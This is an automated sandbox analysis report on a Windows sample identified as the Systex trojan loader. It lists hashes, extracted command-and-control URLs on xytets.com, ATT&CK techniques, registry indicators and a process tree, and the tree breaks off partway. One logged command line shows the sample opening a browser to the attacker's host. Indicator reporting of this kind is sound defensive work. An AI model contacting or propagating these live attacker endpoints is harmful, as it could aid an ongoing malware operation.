systex | 51e97fa6456645f9e62af4ffa76b89c6bdb6ec1719d4d31e1f2b55f45cad43ee

Analysis

max time kernel
149s
max time network
140s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/07/2026, 12:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260709-ppzk2sat7n
SHA256 51e97fa6456645f9e62af4ffa76b89c6bdb6ec1719d4d31e1f2b55f45cad43ee
MD5 a723df1a39d6e7349d27c1c415272d02
SHA1 24efd658c000812248910c07f1489cc19f3688d9
SHA512 f51d15bbb552465fbd8ca7dd385b57ca0486a0bdf03c79d6f7875c35e56b41d79e0f651a694d9a9e969a201639c216426965c424d9a907f231ba918a6f53a7c1
SSDEEP 3072:4JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:4ghLQ0sQmpcF8BzXfwVfQI
TLSH
T135344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
2124	CP.exe
2492	uomhezusjh.exe
3472	CP.exe
1860	CP.exe
1052	i_uomhezusjh.exe
4464	bzwrojhbzt.sys
4360	CP.exe
4892	rojhbztrlj.exe
1140	CP.exe
976	CP.exe
3024	i_rojhbztrlj.exe
3040	dbwtolgeyw.sys
5712	CP.exe
5144	tomgeztolj.exe
5328	CP.exe
4148	CP.exe
5464	i_tomgeztolj.exe
3560	tnlgdywqoi.sys
4748	CP.exe
1048	igbytqljdb.exe
3036	CP.exe
424	CP.exe
5812	i_igbytqljdb.exe
4356	tnlgdyvqoi.sys
1644	CP.exe
5248	xvtnlfdyvq.exe
1940	CP.exe
5276	CP.exe
1724	i_xvtnlfdyvq.exe
4416	snkicavsnl.sys
1672	CP.exe
2668	lfdxvqniga.exe
4136	CP.exe
4908	CP.exe
3136	i_lfdxvqniga.exe
5604	xsqkicausn.sys
4488	CP.exe
3864	nhfaxsqkic.exe
5564	CP.exe
3748	CP.exe
1728	i_nhfaxsqkic.exe
2076	ausmkecxup.sys
5720	CP.exe
244	pjhczxrpke.exe
1884	CP.exe
5104	CP.exe
1864	i_pjhczxrpke.exe
1632	khcausmkec.sys
5896	CP.exe
6032	rmjeczurmj.exe
264	CP.exe
4416	CP.exe
2876	i_rmjeczurmj.exe
5452	jebwuomgez.sys
5076	CP.exe
2264	cwuomgecwu.exe
5872	CP.exe
2012	CP.exe
6100	i_cwuomgecwu.exe
1128	omjdbwtomg.sys
5220	CP.exe
1432	geywrojhby.exe
2752	CP.exe
2460	CP.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4172_820901948\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4172_248942346\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4172_605185613\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4172_605185613\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4172_248942346\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4172_1590236614\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4172_1590236614\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4172_605185613\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4172_605185613\office_endpoints_list.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 40 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pjhczxrpke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pjhczxrpke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmjeczurmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	geywrojhby.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvpnkfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpkhczusmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgeywromge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uomhezusjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rojhbztrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvtnlfdyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lfdxvqniga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfaxsqkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_geywrojhby.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oigbytrljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpkhczusmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rojhbztrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kidaysqlid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snkfdxvpni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbwurpjhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mgeywromge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igbytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igbytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oigbytrljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snkfdxvpni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbwurpjhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	geywromgbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_geywromgbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhfaxsqkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uomhezusjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lfdxvqniga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmjeczurmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwuomgecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tomgeztolj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tomgeztolj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kidaysqlid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvpnkfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvtnlfdyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cwuomgecwu.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2900	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5700	ipconfig.exe
3640	ipconfig.exe
564	ipconfig.exe
5792	ipconfig.exe
5808	ipconfig.exe
3796	ipconfig.exe
5792	ipconfig.exe
5460	ipconfig.exe
5752	ipconfig.exe
1820	ipconfig.exe
2788	ipconfig.exe
204	ipconfig.exe
632	ipconfig.exe
2760	ipconfig.exe
2700	ipconfig.exe
1324	ipconfig.exe
5832	ipconfig.exe
360	ipconfig.exe
3196	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134280738659833766"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2532687178-1633831978-1202193935-1000\{126FF2E1-E284-45B1-A49E-B8697EC391A6}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
2492	uomhezusjh.exe
2492	uomhezusjh.exe
2492	uomhezusjh.exe
2492	uomhezusjh.exe
2492	uomhezusjh.exe
2492	uomhezusjh.exe
2492	uomhezusjh.exe
2492	uomhezusjh.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
4172	msedge.exe
4172	msedge.exe
4172	msedge.exe
4172	msedge.exe
4172	msedge.exe
4172	msedge.exe
4172	msedge.exe
4172	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1052	i_uomhezusjh.exe
Token: SeDebugPrivilege	3024	i_rojhbztrlj.exe
Token: SeDebugPrivilege	5464	i_tomgeztolj.exe
Token: SeDebugPrivilege	5812	i_igbytqljdb.exe
Token: SeDebugPrivilege	1724	i_xvtnlfdyvq.exe
Token: SeDebugPrivilege	3136	i_lfdxvqniga.exe
Token: SeDebugPrivilege	1728	i_nhfaxsqkic.exe
Token: SeDebugPrivilege	1864	i_pjhczxrpke.exe
Token: SeDebugPrivilege	2876	i_rmjeczurmj.exe
Token: SeDebugPrivilege	6100	i_cwuomgecwu.exe
Token: SeDebugPrivilege	5740	i_geywrojhby.exe
Token: SeDebugPrivilege	4320	i_oigbytrljd.exe
Token: SeDebugPrivilege	3796	i_kidaysqlid.exe
Token: SeDebugPrivilege	256	i_snkfdxvpni.exe
Token: SeDebugPrivilege	4132	i_xvpnkfdxvp.exe
Token: SeDebugPrivilege	6076	i_rpkhczusmk.exe
Token: SeDebugPrivilege	5032	i_jhbwurpjhc.exe
Token: SeDebugPrivilege	5904	i_geywromgbz.exe
Token: SeDebugPrivilege	1400	i_mgeywromge.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4172	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2540 wrote to memory of 4184	2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe	88
PID 2540 wrote to memory of 3520	2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe	89
PID 3520 wrote to memory of 5752	3520	iexplore.exe	90
PID 4184 wrote to memory of 4172	4184	iexplore.exe	91
PID 4172 wrote to memory of 5080	4172	msedge.exe	92
PID 4172 wrote to memory of 2900	4172	msedge.exe	93
PID 4172 wrote to memory of 5500	4172	msedge.exe	94
PID 4172 wrote to memory of 5500	4172	msedge.exe	94
PID 4172 wrote to memory of 5500	4172	msedge.exe	94
PID 4172 wrote to memory of 5380	4172	msedge.exe	95
PID 4172 wrote to memory of 5380	4172	msedge.exe	95
PID 4172 wrote to memory of 1908	4172	msedge.exe	97
PID 4172 wrote to memory of 1908	4172	msedge.exe	97
PID 4172 wrote to memory of 1908	4172	msedge.exe	97
PID 4172 wrote to memory of 2008	4172	msedge.exe	98
PID 4172 wrote to memory of 2008	4172	msedge.exe	98
PID 4172 wrote to memory of 2008	4172	msedge.exe	98
PID 4172 wrote to memory of 1368	4172	msedge.exe	99
PID 4172 wrote to memory of 3916	4172	msedge.exe	100
PID 4172 wrote to memory of 1368	4172	msedge.exe	99
PID 4172 wrote to memory of 1368	4172	msedge.exe	99
PID 4172 wrote to memory of 3916	4172	msedge.exe	100
PID 4172 wrote to memory of 3916	4172	msedge.exe	100
PID 4172 wrote to memory of 3380	4172	msedge.exe	101
PID 4172 wrote to memory of 3380	4172	msedge.exe	101
PID 4172 wrote to memory of 3380	4172	msedge.exe	101
PID 4172 wrote to memory of 3880	4172	msedge.exe	102
PID 4172 wrote to memory of 3880	4172	msedge.exe	102
PID 2540 wrote to memory of 2124	2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe	104
PID 2492 wrote to memory of 3472	2492	uomhezusjh.exe	107
PID 4172 wrote to memory of 6124	4172	msedge.exe	110
PID 4172 wrote to memory of 1144	4172	msedge.exe	111
PID 4172 wrote to memory of 6124	4172	msedge.exe	110
PID 4172 wrote to memory of 1144	4172	msedge.exe	111
PID 4172 wrote to memory of 1896	4172	msedge.exe	113
PID 4172 wrote to memory of 2684	4172	msedge.exe	116
PID 4172 wrote to memory of 2684	4172	msedge.exe	116
PID 4172 wrote to memory of 3768	4172	msedge.exe	117
PID 4172 wrote to memory of 3768	4172	msedge.exe	117
PID 2540 wrote to memory of 1860	2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe	118
PID 2540 wrote to memory of 4360	2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe	122
PID 4892 wrote to memory of 1140	4892	rojhbztrlj.exe	124
PID 4172 wrote to memory of 3844	4172	msedge.exe	127
PID 4172 wrote to memory of 3844	4172	msedge.exe	127
PID 4172 wrote to memory of 3844	4172	msedge.exe	127
PID 4172 wrote to memory of 2072	4172	msedge.exe	128
PID 4172 wrote to memory of 2072	4172	msedge.exe	128
PID 4172 wrote to memory of 2072	4172	msedge.exe	128
PID 2540 wrote to memory of 976	2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe	129
PID 2540 wrote to memory of 5712	2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe	133
PID 5144 wrote to memory of 5328	5144	tomgeztolj.exe	135
PID 2540 wrote to memory of 4148	2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe	138
PID 2540 wrote to memory of 4748	2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe	142
PID 1048 wrote to memory of 3036	1048	igbytqljdb.exe	144
PID 2540 wrote to memory of 424	2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe	148
PID 4172 wrote to memory of 1452	4172	msedge.exe	150
PID 4172 wrote to memory of 3788	4172	msedge.exe	151
PID 4172 wrote to memory of 4500	4172	msedge.exe	152
PID 2540 wrote to memory of 1644	2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe	155
PID 5248 wrote to memory of 1940	5248	xvtnlfdyvq.exe	157
PID 2540 wrote to memory of 5276	2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe	160
PID 2540 wrote to memory of 1672	2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe	164
PID 2668 wrote to memory of 4136	2668	lfdxvqniga.exe	166
PID 2540 wrote to memory of 4908	2540	2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe	169

C:\Users\Admin\AppData\Local\Temp\2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-09_a723df1a39d6e7349d27c1c415272d02_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2540
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4184
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4172
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffc0e35c188,0x7ffc0e35c194,0x7ffc0e35c1a0
      4⤵
      PID:5080
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1992,i,9525661343670313931,17515083966367004171,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=2708 /prefetch:11
      4⤵
      System Time Discovery
      PID:2900
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1868,i,11281570942897917737,17974616868402049986,262144 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=2624 /prefetch:2
      4⤵
      PID:5500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2640,i,7224676933205456306,9651206460211776978,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=2836 /prefetch:13
      4⤵
      PID:5380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3608,i,4839787141912567729,18186165270114680362,2097152 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=3840 /prefetch:1
      4⤵
      PID:1908
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
